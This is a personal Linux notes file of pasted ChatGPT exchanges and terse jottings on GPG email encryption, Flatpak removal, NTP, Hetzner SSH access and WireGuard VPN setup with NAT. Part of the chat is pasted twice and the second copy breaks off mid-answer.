Write the Email Content Prepare your email content as you would for a regular message. It can be in any text editor (e.g., Notepad, Vim, etc.).
-
Encrypt the Message Using GPG To encrypt the email content, you will use GPG, specifying the recipient’s email address or key ID. You can either encrypt the message directly from a terminal/command line or use an email client integrated with GPG.
Encrypt from Command Line:
If you're using the command line, create a file with your message, say message.txt. Then use the following GPG command to encrypt it for the recipient’s public key:
bash Copy code gpg --encrypt --recipient <recipient_email_or_key_ID> message.txt This will create an encrypted file called message.txt.gpg. You can attach this encrypted file to your email.
Encrypt Directly in an Email Client: If you’re using an email client like Thunderbird (with the Enigmail add-on) or another GPG-compatible email client, you can write the email directly, and the client will encrypt it for you when you send it. The process is usually as simple as selecting the encryption option before sending the email.
- Send the Encrypted Message If you’ve used the command line to encrypt the message, attach the resulting .gpg file to your email and send it. If you’ve encrypted directly within your email client, the message will automatically be encrypted when you send it.
- Recipient Decrypts the Message When the recipient gets your encrypted email, they will use their private key to decrypt it. They can use their GPG tool (or email client) to decrypt the message, which should look like regular text (assuming their GPG setup is correctly configured).
Example (Command Line) Encrypt the message:
bash Copy code gpg --encrypt --recipient recipient@example.com message.txt Attach message.txt.gpg to your email and send it.
Troubleshooting: Make sure the recipient's public key is in your keyring. If their public key is not available, you won’t be able to encrypt the message. Check the GPG configuration to ensure it’s properly set up to encrypt and sign messages. Verify the recipient’s email address matches the key used to encrypt, to avoid errors during encryption. By following these steps, you’ll be able to send an encrypted email that only the recipient (with the corresponding private key) can decrypt.
You said: so how ey decrypt it command ChatGPT said: ChatGPT To decrypt the message that you’ve encrypted and sent, the recipient (who has the private key) would need to use the following steps, depending on whether they are using the command line or an email client:
- Ensure the Recipient's Private Key Is Available The recipient must have their private key available on their system. The private key is typically stored in their GPG keyring, which should already be set up if they have received your encrypted message.
- Decrypt the Message Using the Command Line If you are the recipient and are using the command line (assuming the message is saved as a .gpg file), the steps are:
Steps to Decrypt with GPG (Command Line): Open the Terminal on your system.
Run the following command to decrypt the message:
bash Copy code gpg --decrypt message.txt.gpg Replace message.txt.gpg with the actual name of the encrypted file you received. Enter your passphrase (if prompted):
If your private key is password-protected, you’ll need to enter the passphrase associated with your private key to decrypt the message. View the decrypted message:
After successfully decrypting, GPG will display the decrypted text directly in the terminal. Alternatively, it can output the decrypted content to a file, depending on the options used. Example Command Flow: If the recipient receives a file called message.txt.gpg, they would run:
bash Copy code gpg --decrypt message.txt.gpg The output will look something like this:
vbnet Copy code gpg: encrypted with 2048-bit RSA key, ID 1234567890ABCDEF, created 2024-01-01 gpg: from "Your Name your.email@example.com" Hello, this is a secret message that only you can read! 3. Decrypting an Email in a GPG-Compatible Email Client If the recipient is using a GPG-compatible email client like Thunderbird with Enigmail or K9 Mail (on Android), they don’t need to use the command line. The client will automatically handle the decryption if their private key is correctly configured:
Open the encrypted email. The email client will prompt for the passphrase if the private key is protected. Once decrypted, the content of the email will appear as plaintext. Additional Notes: Passphrase Protection: If the recipient’s private key is protected by a passphrase, they must enter the passphrase during decryption. Troubleshooting: If the decryption fails, the recipient should ensure they have the correct private key that matches the public key used to encrypt the message, and that their keyring is set up correctly. By following these steps, the recipient can successfully decrypt the encrypted message you sent them.
dd bs=4M if=Downloads/archlinux.iso of /dev/sdx status=progress &&sync https://www.youtube.com/watch?v=rpGgTTFKwiU flatpak install flathub com.poweriso.PowerISOflatpak run com.poweriso.PowerISO
##remove from flatpak how lled via remove shit i installed via flatpak 421 flatpak install flathub com.poweriso.PowerISOflatpak run com.poweriso.PowerISO ChatGPT said: ChatGPT If you want to remove PowerISO (or any other application) that you installed via Flatpak, you can use the following steps:
- List Installed Flatpak Applications To confirm that PowerISO is installed via Flatpak, you can list all the installed Flatpak apps:
bash Copy code flatpak list This will show a list of all Flatpak applications installed on your system.
- Remove PowerISO via Flatpak Once you've confirmed the exact name of the PowerISO app (in your case, it’s likely com.poweriso.PowerISO), you can remove it with the following command:
bash Copy code flatpak uninstall com.poweriso.PowerISO If you want to remove all versions of PowerISO (in case you have multiple versions installed), you can use:
bash Copy code flatpak uninstall --all com.poweriso.PowerISO 3. Remove Dependencies (Optional) Flatpak has a feature where it keeps track of dependencies that were installed for applications. If no other applications are using these dependencies, you can remove them with the following command:
bash Copy code flatpak uninstall --unused This will clean up any dependencies that are no longer needed by any installed applications.
- Confirm Uninstallation After running the uninstall command, you can confirm that PowerISO has been removed by listing installed Flatpak apps again:
bash Copy code flatpak list PowerISO should no longer appear in the list.
#install bitwarden apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
#install gmail desktop on linux snap install gmail-desktop
#gnome-gmail desktop https://davesteele.github.io/gnome-gmail/deb/gnome-gmail_2.7-1_all.deb https://davesteele.github.io/gnome-gmail/ #extras https://github.com/ProcapYT/gmail-app
#leafpad install snap install leafpad
#ntp and ntpdate Key Differences: Feature NTP (ntpd) ntpdate Purpose Continuous time synchronization One-time time sync Runs as a Service Yes, as a daemon (ntpd) No, it is a one-off command How it Works Continuously adjusts time, keeps syncing Adjusts the time once, needs to be run again manually Use Case System that needs to stay in sync with accurate time (servers, workstations) Quick manual time sync, usually after system boot-up ################################ sudo apt install ntp sudo systemctl enable ntp sudo systemctl start ntp 4. Check the synchronization status To verify that the time has been synchronized, you can use:
bash Copy code ntpq -p
##daemon and service In the context of operating systems (especially Unix-like systems like Linux), "daemon" and "service" are terms that are often used interchangeably, but they do have slightly different connotations depending on the context. Here's a breakdown of the two:
- Daemon: A daemon is a program or process that runs in the background and typically starts when the system boots up. It usually has no user interface and performs tasks without direct interaction from users.
Daemons are often responsible for system-level functions such as logging, handling network connections, and managing hardware resources. They are "always-on" and run in the background.
Examples of daemons:
sshd (Secure Shell Daemon) - Handles SSH connections. httpd (Apache HTTP Daemon) - Runs the Apache web server. ntpd (Network Time Protocol Daemon) - Synchronizes time with network servers. Key Points:
A daemon runs in the background (often without a controlling terminal). Daemons typically have names ending with "d" (like httpd, sshd). Daemons are generally started during boot-up by the system or an init system like systemd. 2. Service: A service is a general term for any program, process, or application that runs in the background on the system and provides functionality. In modern Linux systems (like those using systemd), a "service" is usually managed by the system's service manager.
In systemd, services are defined by unit files, which can describe daemons, processes, or any kind of background process that the system should manage (start, stop, restart, etc.).
So, in the context of systemd or other service managers (like init, upstart, etc.), a service refers to a unit of management that typically represents a daemon or other background task.
Example of services:
ntpd is a service that manages the ntpd daemon. apache2 (or httpd on some systems) is a service that manages the Apache HTTP server daemon. Key Points:
A service is often managed by a service manager like systemd, upstart, or init. The service can represent any long-running process, including daemons. Services can be started, stopped, and restarted with tools like systemctl. How They Relate: All daemons can be considered services, but not all services are necessarily daemons. Daemon refers more to the type of program that runs in the background, while service refers to the management or supervision of that process (like with systemd). In practical usage, particularly in modern Linux systems, a service often means a daemon that is being managed by a service manager like systemd. Examples: ntpd as a Daemon and Service:
Daemon: ntpd is a program that runs in the background to synchronize the system clock. Service: On a systemd system, ntpd is managed as a service, and you control it using commands like systemctl start ntpd or systemctl enable ntpd. ssh as a Daemon and Service:
Daemon: The sshd process listens for incoming SSH connections in the background. Service: sshd can be controlled as a service via systemctl on a systemd system (e.g., systemctl start sshd, systemctl enable sshd). Summary: A daemon is a program that runs in the background, often without user interaction. A service is a unit of management for background processes, often referring to how a daemon is handled by a service manager like systemd. #pdf editors for linux https://www.tecmint.com/pdf-editors-linux/
how to conect to a server in hetzner after creating the new ssh key on dashboard ChatGPT said: ChatGPT To connect to your Hetzner server after creating a new SSH key on the dashboard, follow these steps:
- Ensure the SSH Key is Configured on the Server When creating or deploying your server on Hetzner, select the newly created SSH key from the dashboard. This ensures the public key is added to the server's ~/.ssh/authorized_keys file for the root or the default user.
- Locate Your Private SSH Key The private key corresponding to the public key you uploaded should be stored locally on your computer. It's typically located in ~/.ssh/ and might have a name like id_rsa, id_ed25519, or the name you specified when generating the key.
- Set Proper Permissions for the Private Key Ensure the private key file has the correct permissions: bash Copy code chmod 600 ~/.ssh/your_private_key
- Connect to the Server Use the ssh command to connect to your server: bash Copy code ssh -i ~/.ssh/your_private_key username@your_server_ip Replace: ~/.ssh/your_private_key with the path to your private key. username with the server's login user (commonly root for new servers). your_server_ip with your Hetzner server's public IP address.
- Test the Connection If everything is set up correctly, you should connect without being prompted for a password. Troubleshooting Tips: Wrong Key or File Permissions: If you encounter errors like Permission denied (publickey), verify: Your private key matches the public key added in Hetzner. The file permissions of your private key are correct. Firewall or Networking Issues: If you cannot reach the server, check: The server’s firewall settings. The Hetzner dashboard for network configuration issues. Would you like specific commands or help with setting up SSH keys?
You said: what is wireguard and how it works ChatGPT said: ChatGPT What is WireGuard? WireGuard is a modern, lightweight, and highly efficient virtual private network (VPN) protocol and software. It is designed to establish secure point-to-point connections and facilitate secure network tunneling. WireGuard prioritizes simplicity, speed, and security over older protocols like OpenVPN and IPSec.
Key Features of WireGuard: Simplicity: Minimal codebase compared to other VPN protocols, making it easier to audit and less prone to vulnerabilities. Performance: Utilizes modern cryptographic techniques and runs in the Linux kernel, which reduces overhead and improves performance. Ease of Configuration: Straightforward setup and minimal configuration requirements. Cross-Platform: Available on Linux, Windows, macOS, Android, iOS, and various other platforms. How Does WireGuard Work? WireGuard creates a secure, encrypted tunnel between two devices using pre-shared public keys. Here's an overview of how it operates:
- Public Key Cryptography Each device generates a pair of keys: a private key (kept secret) and a public key (shared with peers). These keys authenticate the devices and establish secure communication.
- Networking and Tunneling WireGuard operates at the network layer (Layer 3), routing IP packets securely between devices. It uses UDP (User Datagram Protocol) for communication, ensuring low latency and high-speed connections. Each WireGuard "interface" is assigned an internal IP address (e.g., 10.0.0.1) to route traffic through the tunnel.
- Encryption WireGuard uses state-of-the-art cryptographic protocols like ChaCha20 for encryption and Poly1305 for data authentication. It also employs protocols like Curve25519 for key exchange and BLAKE2s for hashing.
- Peers Devices communicate with each other as "peers." Each peer has its public key and an endpoint (IP and port) for establishing the connection. A peer can act as a client or server, depending on the setup.
- Handshakes WireGuard establishes connections using periodic handshakes that last only for a few seconds. This minimizes exposure to attackers and ensures better security. Workflow Example: Generate Keys:
Each device generates a key pair and shares its public key with its peer. Configuration:
Configure the WireGuard interface on each device with: Local private key. Peer’s public key. Allowed IP ranges for routing. Establish Connection:
One device sends a packet to the other’s public endpoint. WireGuard automatically establishes the encrypted tunnel upon detecting a valid peer. Secure Data Transfer:
Data packets are encrypted before transmission and decrypted on the receiving end. Routing occurs seamlessly through the tunnel. Use Cases: Secure Remote Access: Connect to a private network securely from anywhere. Site-to-Site VPN: Establish secure communication between different office locations. Bypass Geo-Restrictions: Mask your IP address and appear as though you're in a different location. Gaming and Streaming: Its low overhead makes WireGuard ideal for latency-sensitive applications. Would you like assistance setting up WireGuard or configuring a specific use case?
You said: how to install and use wireguard ChatGPT said: ChatGPT How to Install and Use WireGuard Below is a guide to installing and configuring WireGuard on Linux, but steps for other platforms are also mentioned briefly.
- Installing WireGuard On Linux (Debian/Ubuntu) Update your package lists: bash Copy code sudo apt update Install WireGuard: bash Copy code sudo apt install wireguard On Red Hat/CentOS Enable EPEL repository (if not already enabled): bash Copy code sudo yum install epel-release Install WireGuard: bash Copy code sudo yum install wireguard-tools On Windows Download the WireGuard client from the official site: WireGuard for Windows. Install and run the application. On macOS Install via Homebrew: bash Copy code brew install wireguard-tools On Android/iOS Download the WireGuard app from the respective app stores (Google Play Store or Apple App Store).
- Generate Key Pairs WireGuard requires a key pair for each device.
Generate a private key: bash Copy code wg genkey > privatekey Generate a public key from the private key: bash Copy code cat privatekey | wg pubkey > publickey Save or note the private and public keys for configuration. 3. Configuring WireGuard Server Configuration Create a WireGuard interface configuration file (e.g., /etc/wireguard/wg0.conf): bash Copy code sudo nano /etc/wireguard/wg0.conf Add the following configuration: ini Copy code [Interface] Address = 10.0.0.1/24 # Internal IP for the server PrivateKey = SERVER_PRIVATE_KEY # Replace with your server's private key ListenPort = 51820 # Default WireGuard port
[Peer] PublicKey = CLIENT_PUBLIC_KEY # Replace with the client's public key AllowedIPs = 10.0.0.2/32 # Internal IP for the client Client Configuration On the client, create a WireGuard configuration file (e.g., /etc/wireguard/wg0.conf): bash Copy code sudo nano /etc/wireguard/wg0.conf Add the following configuration: ini Copy code [Interface] Address = 10.0.0.2/24 # Internal IP for the client PrivateKey = CLIENT_PRIVATE_KEY # Replace with the client's private key
[Peer] PublicKey = SERVER_PUBLIC_KEY # Replace with the server's public key Endpoint = SERVER_IP:51820 # Replace with the server's public IP and port AllowedIPs = 0.0.0.0/0 # Route all traffic through the VPN PersistentKeepalive = 25 # Keep the connection alive 4. Start the WireGuard Interface On both the server and client, start the WireGuard interface:
bash Copy code sudo wg-quick up wg0 To stop the interface:
bash Copy code sudo wg-quick down wg0 5. Verify the Connection Check the status of the WireGuard interface: bash Copy code sudo wg Test connectivity: Ping the server from the client: bash Copy code ping 10.0.0.1 Or the client from the server: bash Copy code ping 10.0.0.2 6. Set WireGuard to Start Automatically Enable the service to start on boot:
bash Copy code sudo systemctl enable wg-quick@wg0 Optional: Additional Notes Firewall Configuration: Ensure the server allows UDP traffic on the WireGuard port (default: 51820).
bash Copy code sudo ufw allow 51820/udp DNS Configuration: To route DNS queries through the VPN, add a DNS server in the client’s [Interface] section:
ini Copy code DNS = 8.8.8.8 # Replace with your preferred DNS Would you like guidance on any specific aspect, such as troubleshooting, multi-peer setup, or using a different platform?
You said: nice this is working,s o i want to create a wireguard account wireguard tunnel and send configs to somebody ChatGPT said: ChatGPT To create a WireGuard tunnel and send the configuration files to someone else, follow these steps:
- Generate Keys for the New User (Peer) On your WireGuard server:
Navigate to the WireGuard configuration directory:
bash Copy code cd /etc/wireguard Generate the key pair for the new peer:
bash Copy code wg genkey | tee peer_privatekey | wg pubkey > peer_publickey peer_privatekey: Private key of the peer (keep this secret). peer_publickey: Public key of the peer (to be added to the server). 2. Update the Server Configuration Add the new peer to the WireGuard server configuration (/etc/wireguard/wg0.conf):
ini Copy code [Peer] PublicKey = NEW_PEER_PUBLIC_KEY # Replace with peer_publickey AllowedIPs = 10.0.0.X/32 # Replace with a unique IP for the peer AllowedIPs: Assign a unique IP (e.g., 10.0.0.3) from the VPN subnet. Save the file and restart WireGuard: bash Copy code sudo wg-quick down wg0 sudo wg-quick up wg0 3. Generate the Client Configuration Create a configuration file for the new peer (e.g., peer.conf):
ini Copy code [Interface] PrivateKey = NEW_PEER_PRIVATE_KEY # Replace with peer_privatekey Address = 10.0.0.X/24 # Replace with the assigned IP DNS = 8.8.8.8 # Optional: Add DNS server
[Peer] PublicKey = SERVER_PUBLIC_KEY # Replace with the server's public key Endpoint = SERVER_IP:51820 # Replace with the server's IP and port AllowedIPs = 0.0.0.0/0 # Route all traffic through the VPN PersistentKeepalive = 25 # Optional: Keep the connection alive Replace: NEW_PEER_PRIVATE_KEY: The private key for the new peer. SERVER_PUBLIC_KEY: The public key of your server. SERVER_IP: Your server's public IP address. 10.0.0.X: The IP you assigned to the peer. 4. Send the Configuration to the Peer You can send the configuration file securely via email, messaging apps, or cloud storage. Alternatively, generate a QR code for easy import into mobile devices.
Generate a QR Code (Optional) Use the qrencode tool to create a QR code for mobile clients:
Install qrencode:
bash Copy code sudo apt install qrencode Generate the QR code:
bash Copy code qrencode -t ansiutf8 < peer.conf Or save it as an image:
bash Copy code qrencode -o peer.png < peer.conf Share the peer.conf file or the QR code with the user.
- Instructions for the Peer Send the following instructions along with the configuration:
Install WireGuard on their device:
Windows/macOS: Use the official WireGuard client. Android/iOS: Install the WireGuard app from the app store. Linux: Install via the package manager. Import the Configuration:
Desktop: Import the peer.conf file directly in the WireGuard app. Mobile: Use the app's "Import via File" or "Scan QR Code" option. Activate the Tunnel:
Enable the WireGuard tunnel and verify connectivity. Let me know if you'd like help automating this process or setting up additional features!
You said: i can connect to 10.0.0.1 but cant ping google.com from my computer or browse so what should i fix ChatGPT said: ChatGPT If you can connect to the WireGuard server (10.0.0.1) but can't access the internet (e.g., can't ping google.com or browse), the issue is likely due to routing or DNS configuration. Here’s how to fix it:
- Check Server NAT Configuration Ensure that the server is configured to allow forwarding and perform NAT (Network Address Translation) for traffic from the VPN.
Enable IP Forwarding Check if IP forwarding is enabled: bash Copy code sysctl net.ipv4.ip_forward If it returns 0, enable it: bash Copy code sudo sysctl -w net.ipv4.ip_forward=1 Make it persistent across reboots by editing /etc/sysctl.conf: bash Copy code sudo nano /etc/sysctl.conf Add or uncomment the line: ini Copy code net.ipv4.ip_forward = 1 Apply changes: bash Copy code sudo sysctl -p Configure NAT with iptables Add an iptables rule to masquerade traffic:
bash Copy code sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE Replace eth0 with your server's internet-facing interface (you can find it with ip a).
Make the iptables rule persistent across reboots:
bash Copy code sudo apt install iptables-persistent sudo netfilter-persistent save 2. Check Client Configuration Ensure your client configuration routes all traffic through the VPN:
AllowedIPs: In the client's WireGuard configuration (wg0.conf or equivalent), ensure the [Peer] section includes:
ini Copy code AllowedIPs = 0.0.0.0/0 This routes all traffic through the VPN.
DNS: Add a DNS server in the [Interface] section of the client configuration:
ini Copy code DNS = 8.8.8.8 Replace 8.8.8.8 with your preferred DNS (e.g., 1.1.1.1 for Cloudflare).
- Restart WireGuard After making changes, restart the WireGuard service on both the server and the client:
Server: bash Copy code sudo wg-quick down wg0 sudo wg-quick up wg0 Client: bash Copy code sudo wg-quick down wg0 sudo wg-quick up wg0 4. Test Connectivity On the client, check if you can ping the internet:
bash Copy code ping 8.8.8.8 If this works but ping google.com doesn't, the issue is DNS.
If DNS isn't working, try flushing the DNS cache on the client:
Linux: bash Copy code sudo systemd-resolve --flush-caches macOS: bash Copy code sudo dscacheutil -flushcache Windows: cmd Copy code ipconfig /flushdns 5. Verify with wg Command On the server, verify the WireGuard connection:
bash Copy code sudo wg Ensure that the client’s public key and IP are listed and that packets are being transmitted and received.
Let me know if you need more detailed troubleshooting!
You said: what does sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE do and how d I undo it to stop the traffic from forwarding again ChatGPT said: ChatGPT What sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE Does This command configures Network Address Translation (NAT) on the server, specifically masquerading. Here's a breakdown:
-t nat: Specifies the NAT table, which is used for modifying packet addresses. -A POSTROUTING: Appends a rule to the POSTROUTING chain, which applies after the packet is routed. -o eth0: Specifies the outgoing network interface (e.g., eth0 is the server's internet-facing interface). -j MASQUERADE: Tells iptables to perform masquerading, which dynamically changes the source IP of packets to the server's public IP. Effect:
All traffic coming from the VPN (WireGuard) will appear to originate from the server's public IP when sent to the internet. It's essential for routing client internet traffic via the server. How to Undo It To stop forwarding traffic and remove the masquerading rule:
Remove the Rule (Without Reboot)
Find the rule:
bash Copy code sudo iptables -t nat -L POSTROUTING --line-numbers Example output:
scss Copy code Chain POSTROUTING (policy ACCEPT) num target prot opt source destination 1 MASQUERADE all -- anywhere anywhere Note the rule number (e.g., 1). Delete the rule by its number:
bash Copy code sudo iptables -t nat -D POSTROUTING 1 Make the Change Persistent If you saved the rule using iptables-persistent or netfilter-persistent, remove it from the saved configuration:
bash Copy code sudo nano /etc/iptables/rules.v4 Locate and delete the MASQUERADE rule under the POSTROUTING chain. Save and apply:
bash Copy code sudo netfilter-persistent save sudo netfilter-persistent reload Disable IP Forwarding If you previously enabled IP forwarding, disable it to stop traffic forwarding altogether:
bash Copy code sudo sysctl -w net.ipv4.ip_forward=0 To make it permanent, edit /etc/sysctl.conf:
bash Copy code sudo nano /etc/sysctl.conf Comment or change the line to:
ini Copy code
net.ipv4.ip_forward = 0 Apply changes:
bash Copy code sudo sysctl -p Verification Confirm NAT rules are removed:
bash Copy code sudo iptables -t nat -L POSTROUTING Ensure no MASQUERADE rules remain. Check if IP forwarding is disabled:
bash Copy code sysctl net.ipv4.ip_forward It should return 0. Let me know if you need further clarification or assistance!
ChatGPT can make mistakes. Check important info. ?
how to conect to a server in hetzner after creating the new ssh key on dashboard ChatGPT said: ChatGPT To connect to your Hetzner server after creating a new SSH key on the dashboard, follow these steps:
- Ensure the SSH Key is Configured on the Server When creating or deploying your server on Hetzner, select the newly created SSH key from the dashboard. This ensures the public key is added to the server's ~/.ssh/authorized_keys file for the root or the default user.
- Locate Your Private SSH Key The private key corresponding to the public key you uploaded should be stored locally on your computer. It's typically located in ~/.ssh/ and might have a name like id_rsa, id_ed25519, or the name you specified when generating the key.
- Set Proper Permissions for the Private Key Ensure the private key file has the correct permissions: bash Copy code chmod 600 ~/.ssh/your_private_key
- Connect to the Server Use the ssh command to connect to your server: bash Copy code ssh -i ~/.ssh/your_private_key username@your_server_ip Replace: ~/.ssh/your_private_key with the path to your private key. username with the server's login user (commonly root for new servers). your_server_ip with your Hetzner server's public IP address.
- Test the Connection If everything is set up correctly, you should connect without being prompted for a password. Troubleshooting Tips: Wrong Key or File Permissions: If you encounter errors like Permission denied (publickey), verify: Your private key matches the public key added in Hetzner. The file permissions of your private key are correct. Firewall or Networking Issues: If you cannot reach the server, check: The server’s firewall settings. The Hetzner dashboard for network configuration issues. Would you like specific commands or help with setting up SSH keys?
You said: what is wireguard and how it works ChatGPT said: ChatGPT What is WireGuard? WireGuard is a modern, lightweight, and highly efficient virtual private network (VPN) protocol and software. It is designed to establish secure point-to-point connections and facilitate secure network tunneling. WireGuard prioritizes simplicity, speed, and security over older protocols like OpenVPN and IPSec.
Key Features of WireGuard: Simplicity: Minimal codebase compared to other VPN protocols, making it easier to audit and less prone to vulnerabilities. Performance: Utilizes modern cryptographic techniques and runs in the Linux kernel, which reduces overhead and improves performance. Ease of Configuration: Straightforward setup and minimal configuration requirements. Cross-Platform: Available on Linux, Windows, macOS, Android, iOS, and various other platforms. How Does WireGuard Work? WireGuard creates a secure, encrypted tunnel between two devices using pre-shared public keys. Here's an overview of how it operates:
- Public Key Cryptography Each device generates a pair of keys: a private key (kept secret) and a public key (shared with peers). These keys authenticate the devices and establish secure communication.
- Networking and Tunneling WireGuard operates at the network layer (Layer 3), routing IP packets securely between devices. It uses UDP (User Datagram Protocol) for communication, ensuring low latency and high-speed connections. Each WireGuard "interface" is assigned an internal IP address (e.g., 10.0.0.1) to route traffic through the tunnel.
- Encryption WireGuard uses state-of-the-art cryptographic protocols like ChaCha20 for encryption and Poly1305 for data authentication. It also employs protocols like Curve25519 for key exchange and BLAKE2s for hashing.
- Peers Devices communicate with each other as "peers." Each peer has its public key and an endpoint (IP and port) for establishing the connection. A peer can act as a client or server, depending on the setup.
- Handshakes WireGuard establishes connections using periodic handshakes that last only for a few seconds. This minimizes exposure to attackers and ensures better security. Workflow Example: Generate Keys:
Each device generates a key pair and shares its public key with its peer. Configuration:
Configure the WireGuard interface on each device with: Local private key. Peer’s public key. Allowed IP ranges for routing. Establish Connection:
One device sends a packet to the other’s public endpoint. WireGuard automatically establishes the encrypted tunnel upon detecting a valid peer. Secure Data Transfer:
Data packets are encrypted before transmission and decrypted on the receiving end. Routing occurs seamlessly through the tunnel. Use Cases: Secure Remote Access: Connect to a private network securely from anywhere. Site-to-Site VPN: Establish secure communication between different office locations. Bypass Geo-Restrictions: Mask your IP address and appear as though you're in a different location. Gaming and Streaming: Its low overhead makes WireGuard ideal for latency-sensitive applications. Would you like assistance setting up WireGuard or configuring a specific use case?
You said: how to install and use wireguard ChatGPT said: ChatGPT How to Install and Use WireGuard Below is a guide to installing and configuring WireGuard on Linux, but steps for other platforms are also mentioned briefly.
- Installing WireGuard On Linux (Debian/Ubuntu) Update your package lists: bash Copy code sudo apt update Install WireGuard: bash Copy code sudo apt install wireguard On Red Hat/CentOS Enable EPEL repository (if not already enabled): bash Copy code sudo yum install epel-release Install WireGuard: bash Copy code sudo yum install wireguard-tools On Windows Download the WireGuard client from the official site: WireGuard for Windows. Install and run the application. On macOS Install via Homebrew: bash Copy code brew install wireguard-tools On Android/iOS Download the WireGuard app from the respective app stores (Google Play Store or Apple App Store).
- Generate Key Pairs WireGuard requires a key pair for each device.
Generate a private key: bash Copy code wg genkey > privatekey Generate a public key from the private key: bash Copy code cat privatekey | wg pubkey > publickey Save or note the private and public keys for configuration. 3. Configuring WireGuard Server Configuration Create a WireGuard interface configuration file (e.g., /etc/wireguard/wg0.conf): bash Copy code sudo nano /etc/wireguard/wg0.conf Add the following configuration: ini Copy code [Interface] Address = 10.0.0.1/24 # Internal IP for the server PrivateKey = SERVER_PRIVATE_KEY # Replace with your server's private key ListenPort = 51820 # Default WireGuard port
[Peer] PublicKey = CLIENT_PUBLIC_KEY # Replace with the client's public key AllowedIPs = 10.0.0.2/32 # Internal IP for the client Client Configuration On the client, create a WireGuard configuration file (e.g., /etc/wireguard/wg0.conf): bash Copy code sudo nano /etc/wireguard/wg0.conf Add the following configuration: ini Copy code [Interface] Address = 10.0.0.2/24 # Internal IP for the client PrivateKey = CLIENT_PRIVATE_KEY # Replace with the client's private key
[Peer] PublicKey = SERVER_PUBLIC_KEY # Replace with the server's public key Endpoint = SERVER_IP:51820 # Replace with the server's public IP and port AllowedIPs = 0.0.0.0/0 # Route all traffic through the VPN PersistentKeepalive = 25 # Keep the connection alive 4. Start the WireGuard Interface On both the server and client, start the WireGuard interface:
bash Copy code sudo wg-quick up wg0 To stop the interface:
bash Copy code sudo wg-quick down wg0 5. Verify the Connection Check the status of the WireGuard interface: bash Copy code sudo wg Test connectivity: Ping the server from the client: bash Copy code ping 10.0.0.1 Or the client from the server: bash Copy code ping 10.0.0.2 6. Set WireGuard to Start Automatically Enable the service to start on boot:
bash Copy code sudo systemctl enable wg-quick@wg0 Optional: Additional Notes Firewall Configuration: Ensure the server allows UDP traffic on the WireGuard port (default: 51820).
bash Copy code sudo ufw allow 51820/udp DNS Configuration: To route DNS queries through the VPN, add a DNS server in the client’s [Interface] section:
ini Copy code DNS = 8.8.8.8 # Replace with your preferred DNS Would you like guidance on any specific aspect, such as troubleshooting, multi-peer setup, or using a different platform?
You said: nice this is working,s o i want to create a wireguard account wireguard tunnel and send configs to somebody ChatGPT said: ChatGPT To create a WireGuard tunnel and send the configuration files to someone else, follow these steps:
- Generate Keys for the New User (Peer) On your WireGuard server:
Navigate to the WireGuard configuration directory:
bash Copy code cd /etc/wireguard Generate the key pair for the new peer:
bash Copy code wg genkey | tee peer_privatekey | wg pubkey > peer_publickey peer_privatekey: Private key of the peer (keep this secret). peer_publickey: Public key of the peer (to be added to the server). 2. Update the Server Configuration Add the new peer to the WireGuard server configuration (/etc/wireguard/wg0.conf):
ini Copy code [Peer] PublicKey = NEW_PEER_PUBLIC_KEY # Replace with peer_publickey AllowedIPs = 10.0.0.X/32 # Replace with a unique IP for the peer AllowedIPs: Assign a unique IP (e.g., 10.0.0.3) from the VPN subnet. Save the file and restart WireGuard: bash Copy code sudo wg-quick down wg0 sudo wg-quick up wg0 3. Generate the Client Configuration Create a configuration file for the new peer (e.g., peer.conf):
ini Copy code [Interface] PrivateKey = NEW_PEER_PRIVATE_KEY # Replace with peer_privatekey Address = 10.0.0.X/24 # Replace with the assigned IP DNS = 8.8.8.8 # Optional: Add DNS server
[Peer] PublicKey = SERVER_PUBLIC_KEY # Replace with the server's public key Endpoint = SERVER_IP:51820 # Replace with the server's IP and port AllowedIPs = 0.0.0.0/0 # Route all traffic through the VPN PersistentKeepalive = 25 # Optional: Keep the connection alive Replace: NEW_PEER_PRIVATE_KEY: The private key for the new peer. SERVER_PUBLIC_KEY: The public key of your server. SERVER_IP: Your server's public IP address. 10.0.0.X: The IP you assigned to the peer. 4. Send the Configuration to the Peer You can send the configuration file securely via email, messaging apps, or cloud storage. Alternatively, generate a QR code for easy import into mobile devices.
Generate a QR Code (Optional) Use the qrencode tool to create a QR code for mobile clients:
Install qrencode:
bash Copy code sudo apt install qrencode Generate the QR code:
bash Copy code qrencode -t ansiutf8 < peer.conf Or save it as an image:
bash Copy code qrencode -o peer.png < peer.conf Share the peer.conf file or the QR code with the user.
- Instructions for the Peer Send the following instructions along with the configuration:
Install WireGuard on their device:
Windows/macOS: Use the official WireGuard client. Android/iOS: Install the WireGuard app from the app store. Linux: Install via the package manager. Import the Configuration:
Desktop: Import the peer.conf file directly in the WireGuard app. Mobile: Use the app's "Import via File" or "Scan QR Code" option. Activate the Tunnel:
Enable the WireGuard tunnel and verify connectivity. Let me know if you'd like help automating this process or setting up additional features!
You said: i can connect to 10.0.0.1 but cant ping google.com from my computer or browse so what should i fix ChatGPT said: ChatGPT If you can connect to the WireGuard server (10.0.0.1) but can't access the internet (e.g., can't ping google.com or browse), the issue is likely due to routing or DNS configuration. Here’s how to fix it:
- Check Server NAT Configuration Ensure that the server is configured to allow forwarding and perform NAT (Network Address Translation) for traffic from the VPN.
Enable IP Forwarding Check if IP forwarding is enabled: bash Copy code sysctl net.ipv4.ip_forward If it returns 0, enable it: bash Copy code sudo sysctl -w net.ipv4.ip_forward=1 Make it persistent across reboots by editing /etc/sysctl.conf: bash Copy code sudo nano /etc/sysctl.conf Add or uncomment the line: ini Copy code net.ipv4.ip_forward = 1 Apply changes: bash Copy code sudo sysctl -p Configure NAT with iptables Add an iptables rule to masquerade traffic:
bash Copy code sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE Replace eth0 with your server's internet-facing interface (you can find it with ip a).
Make the iptables rule persistent across reboots:
bash Copy code sudo apt install iptables-persistent sudo netfilter-persistent save 2. Check Client Configuration Ensure your client configuration routes all traffic through the VPN:
AllowedIPs: In the client's WireGuard configuration (wg0.conf or equivalent), ensure the [Peer] section includes:
ini Copy code AllowedIPs = 0.0.0.0/0 This routes all traffic through the VPN.
DNS: Add a DNS server in the [Interface] section of the client configuration:
ini Copy code DNS = 8.8.8.8 Replace 8.8.8.8 with your preferred DNS (e.g., 1.1.1.1 for Cloudflare).
- Restart WireGuard After making changes, restart the WireGuard service on both the server and the client:
